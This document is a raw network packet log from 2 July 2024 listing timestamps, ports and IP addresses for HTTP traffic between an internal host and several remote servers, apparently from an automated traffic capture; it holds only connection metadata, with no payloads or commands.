Jul 2, 2024 12:21:30.775373936 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.775376081 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.775383949 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.775393009 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.775396109 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.775410891 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.775425911 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.775684118 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.775693893 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.775703907 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.775713921 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.775724888 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.775726080 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.775736094 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.775746107 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.775748968 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.775755882 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.775767088 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.775768042 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.775783062 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.775785923 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.775799990 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.775825024 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.775986910 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.775998116 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.776024103 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.776187897 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.776199102 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.776207924 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.776217937 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.776226997 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.776227951 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.776238918 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.776242971 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.776249886 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.776259899 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.776259899 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.776271105 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.776281118 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.776287079 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.776292086 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.776308060 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.776313066 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.776319027 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.776328087 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.776329041 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.776340961 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.776350021 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.776354074 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.776361942 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.776371956 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.776380062 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.776384115 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.776393890 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.776396990 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.776405096 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.776415110 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.776421070 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.776446104 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.777033091 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.777044058 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.777054071 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.777070999 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.777096033 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.794775963 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.794794083 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.794806004 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.794835091 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.794855118 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.794877052 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.794888020 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.794898033 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.794909000 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.794910908 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.794934034 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.794958115 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.795047998 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.795058966 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.795068979 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.795078993 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.795085907 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.795089960 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.795100927 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.795114040 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.795119047 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.795131922 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.795156002 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.827780008 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.827794075 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.827805042 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.827872992 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.827869892 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.827883005 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.827894926 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.827913046 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.828031063 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.828031063 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.828031063 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.865151882 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.865165949 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.865176916 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.865206003 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.865233898 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.865243912 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.865253925 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.865264893 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.865377903 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.865377903 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.865377903 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.865379095 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.865416050 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.865427017 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.865437031 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.865451097 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.865470886 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.865509987 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.865520954 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.865535021 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.865541935 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.865545988 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.865556955 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.865566969 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.865569115 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.865577936 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.865595102 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.865609884 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.865906954 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.865916967 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.865926981 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.865936995 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.865941048 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.865947962 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.865957022 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.865958929 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.865969896 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.865979910 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.865984917 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.865991116 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.866000891 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.866005898 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.866018057 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.866024971 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.866050005 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.866297960 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.866307974 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.866317987 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.866328001 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.866331100 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.866339922 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.866349936 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.866355896 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.866379023 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.866421938 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.866432905 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.866441965 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.866451979 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.866451979 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.866461992 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.866472960 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.866477966 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.866483927 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.866494894 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.866503000 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.866504908 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.866517067 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.866519928 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.866534948 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.866559029 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.867094994 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.867105007 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.867114067 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.867126942 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.867131948 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.867142916 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.867145061 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.867153883 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.867165089 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.867170095 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.867175102 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.867185116 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.867186069 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.867201090 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.867208958 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.867212057 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.867222071 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.867233038 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.867238998 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.867244005 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.867254972 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.867269993 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.867697954 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.867707968 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.867717981 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.867727995 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.867732048 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.867738008 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.867752075 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.867757082 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.867763042 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.867772102 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.867782116 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.867785931 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.867793083 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.867799997 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.867803097 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.867814064 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.867822886 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.867824078 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.867834091 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.867844105 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.867849112 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.867865086 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.867887974 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.868175983 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.868185997 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.868196011 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.868206024 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.868208885 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.868216991 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.868226051 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.868227005 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.868237019 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.868252993 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.868267059 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.868432999 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.868442059 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.868463039 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.868477106 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.883763075 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.883908987 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:31.570889950 CEST	55238	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:31.575817108 CEST	80	55238	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:31.575908899 CEST	55238	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:31.576033115 CEST	55238	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:31.580801010 CEST	80	55238	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:31.613285065 CEST	55236	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:31.613461971 CEST	55239	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:31.618356943 CEST	80	55239	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:31.618449926 CEST	55239	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:31.618586063 CEST	55239	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:31.618824959 CEST	80	55236	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:31.618886948 CEST	55236	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:31.623406887 CEST	80	55239	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:32.199459076 CEST	80	55238	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:32.200880051 CEST	55238	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:32.709230900 CEST	80	55239	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:32.709289074 CEST	55239	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:32.816190958 CEST	55239	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:32.816489935 CEST	55240	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:32.826282978 CEST	80	55240	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:32.826385021 CEST	55240	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:32.826582909 CEST	55240	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:32.826827049 CEST	80	55239	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:32.826877117 CEST	55239	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:32.842792988 CEST	80	55240	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:33.566853046 CEST	80	55240	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:33.568892956 CEST	55240	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:33.578054905 CEST	55240	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:33.582818985 CEST	80	55240	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:33.740596056 CEST	55238	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:33.814228058 CEST	80	55240	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:33.814292908 CEST	55240	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:33.925574064 CEST	55240	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:33.925926924 CEST	55241	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:33.930772066 CEST	80	55241	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:33.930859089 CEST	55241	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:33.931010008 CEST	55241	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:33.931178093 CEST	80	55240	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:33.931233883 CEST	55240	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:33.936055899 CEST	80	55241	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:34.654656887 CEST	80	55241	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:34.654726028 CEST	55241	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:34.655380964 CEST	55241	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:34.660098076 CEST	80	55241	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:34.881114006 CEST	80	55241	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:34.881191015 CEST	55241	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:34.988020897 CEST	55241	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:34.988437891 CEST	55242	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:34.994781971 CEST	80	55241	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:34.994867086 CEST	55241	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:34.995846033 CEST	80	55242	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:34.995904922 CEST	55242	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:34.996021986 CEST	55242	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:35.000757933 CEST	80	55242	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:35.683440924 CEST	80	55242	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:35.683518887 CEST	55242	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:35.685858011 CEST	55242	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:35.690844059 CEST	80	55242	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:35.902218103 CEST	80	55242	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:35.902297020 CEST	55242	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:36.003701925 CEST	55242	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:36.003992081 CEST	55243	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:36.010557890 CEST	80	55243	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:36.010632038 CEST	55243	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:36.010771036 CEST	55243	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:36.010977983 CEST	80	55242	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:36.011024952 CEST	55242	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:36.015980005 CEST	80	55243	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:36.720494032 CEST	80	55243	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:36.720601082 CEST	55243	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:36.721513033 CEST	55243	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:36.726387978 CEST	80	55243	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:36.943470955 CEST	80	55243	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:36.943536043 CEST	55243	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:37.050524950 CEST	55243	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:37.050823927 CEST	55244	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:37.055638075 CEST	80	55244	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:37.055710077 CEST	80	55243	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:37.055732012 CEST	55244	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:37.055764914 CEST	55243	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:37.055887938 CEST	55244	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:37.060717106 CEST	80	55244	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:37.759613991 CEST	80	55244	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:37.759774923 CEST	55244	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:37.760649920 CEST	55244	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:37.765490055 CEST	80	55244	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:37.985183954 CEST	80	55244	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:37.985243082 CEST	55244	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:38.097400904 CEST	55244	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:38.097708941 CEST	55245	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:38.102505922 CEST	80	55245	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:38.102603912 CEST	55245	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:38.102750063 CEST	55245	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:38.102866888 CEST	80	55244	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:38.103009939 CEST	55244	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:38.107467890 CEST	80	55245	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:38.804364920 CEST	80	55245	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:38.804534912 CEST	55245	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:38.805243969 CEST	55245	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:38.809993029 CEST	80	55245	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:39.021953106 CEST	80	55245	77.91.77.82	192.168.2.7
Jul 2, 2024 12:21:39.022077084 CEST	55245	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:21:39.128660917 CEST	55245	80	192.168.2.7	77.91.77.82
